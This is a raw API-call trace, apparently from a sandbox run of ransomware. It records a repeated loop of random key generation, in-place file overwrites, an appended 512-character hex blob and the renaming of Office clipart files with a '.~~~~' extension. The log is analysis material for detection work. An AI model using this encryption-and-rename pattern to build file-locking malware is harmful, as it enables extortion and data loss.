	[0111.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28315e0
	[0111.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.571] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.572] GetLastError () returned 0x0
	[0111.572] GetLastError () returned 0x0
	[0111.572] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.572] GetLastError () returned 0x0
	[0111.572] GetLastError () returned 0x0
	[0111.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffeec8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.575] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1138, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x1138, lpOverlapped=0x0) returned 1
	[0111.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.576] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.576] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.577] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.577] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.577] CloseHandle (hObject=0x130) returned 1
	[0111.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.577] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf.~~~~")) returned 1
	[0111.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.578] GetLastError () returned 0x0
	[0111.579] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.580] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.580] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0111.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0111.580] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23157054687) returned 1
	[0111.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xac1ca330, dwHighDateTime=0x1d60e1e)) 
	[0111.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fcd8
	[0111.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fcd8 | out: hHeap=0x300000) returned 1
	[0111.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831c68
	[0111.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.581] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.582] GetLastError () returned 0x0
	[0111.582] GetLastError () returned 0x0
	[0111.582] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.582] GetLastError () returned 0x0
	[0111.582] GetLastError () returned 0x0
	[0111.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffc6da, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.585] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3926, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x3926, lpOverlapped=0x0) returned 1
	[0111.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.586] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.586] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.587] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.587] CloseHandle (hObject=0x130) returned 1
	[0111.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.587] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf.~~~~")) returned 1
	[0111.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.588] GetLastError () returned 0x0
	[0111.588] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.590] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.590] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0111.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0111.590] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23158042958) returned 1
	[0111.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xac1ca330, dwHighDateTime=0x1d60e1e)) 
	[0111.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fd10
	[0111.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fd10 | out: hHeap=0x300000) returned 1
	[0111.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831d00
	[0111.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.591] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.591] GetLastError () returned 0x0
	[0111.592] GetLastError () returned 0x0
	[0111.592] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.592] GetLastError () returned 0x0
	[0111.592] GetLastError () returned 0x0
	[0111.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe504, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.595] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1afc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x1afc, lpOverlapped=0x0) returned 1
	[0111.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.597] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.597] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.597] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.597] CloseHandle (hObject=0x130) returned 1
	[0111.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.597] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf.~~~~")) returned 1
	[0111.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.598] GetLastError () returned 0x0
	[0111.599] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.601] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.601] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0111.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0111.601] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23159106773) returned 1
	[0111.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xac1f0490, dwHighDateTime=0x1d60e1e)) 
	[0111.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fd48
	[0111.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fd48 | out: hHeap=0x300000) returned 1
	[0111.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831d98
	[0111.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.602] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.602] GetLastError () returned 0x0
	[0111.602] GetLastError () returned 0x0
	[0111.602] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.602] GetLastError () returned 0x0
	[0111.603] GetLastError () returned 0x0
	[0111.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff4e5c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.690] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb1a4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xb1a4, lpOverlapped=0x0) returned 1
	[0111.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.697] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.697] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.697] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.697] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.697] CloseHandle (hObject=0x130) returned 1
	[0111.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c9a40
	[0111.995] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf.~~~~")) returned 1
	[0111.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c9a40 | out: hHeap=0x300000) returned 1
	[0111.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.997] GetLastError () returned 0x0
	[0111.998] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.999] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.000] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.000] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23198993772) returned 1
	[0112.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xac5a86f0, dwHighDateTime=0x1d60e1e)) 
	[0112.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0112.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fdb8
	[0112.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fdb8 | out: hHeap=0x300000) returned 1
	[0112.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c9a40
	[0112.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831e30
	[0112.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c9a40 | out: hHeap=0x300000) returned 1
	[0112.001] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0112.001] GetLastError () returned 0x0
	[0112.001] GetLastError () returned 0x0
	[0112.001] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0112.002] GetLastError () returned 0x0
	[0112.002] GetLastError () returned 0x0
	[0112.006] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe360, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.007] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x1ca0, lpOverlapped=0x0) returned 1
	[0112.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.009] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.009] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.009] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.009] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.009] CloseHandle (hObject=0x144) returned 1
	[0112.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c9d88
	[0112.009] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf.~~~~")) returned 1
	[0112.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c9d88 | out: hHeap=0x300000) returned 1
	[0112.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.011] GetLastError () returned 0x0
	[0112.011] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0112.013] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.013] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.013] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23200300919) returned 1
	[0112.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xac5ce850, dwHighDateTime=0x1d60e1e)) 
	[0112.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0112.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b288
	[0112.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
